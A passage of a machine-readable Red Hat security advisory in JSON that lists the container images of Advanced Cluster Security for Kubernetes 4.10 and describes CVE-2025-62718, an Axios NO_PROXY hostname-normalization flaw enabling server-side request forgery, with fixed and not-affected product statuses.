"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.10"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2025-62718",
"cwe": {
"id": "CWE-1289",
"name": "Improper Validation of Unsafe Equivalence in Input"
},
"discovery_date": "2026-04-09T15:01:48.111177+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2456913"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not correctly handle hostname normalization when evaluating NO_PROXY rules. An attacker can exploit this by crafting requests to loopback addresses (e.g., localhost. or [::1]) which bypass the NO_PROXY configuration and are routed through the configured proxy. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, enabling attackers to access sensitive internal or loopback services that should otherwise be protected.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Server-Side Request Forgery and proxy bypass due to improper hostname normalization",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This flaw has limited impact due to combination of non-default conditions to exploit: the attacker must be able to control or influence URLs passed to axios in a server-side context, the application must have both `HTTP_PROXY` and `NO_PROXY` configured, and the proxy itself must be positioned to act on the misdirected traffic or have been compromised by the attacker to intercept the rerouted traffic.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
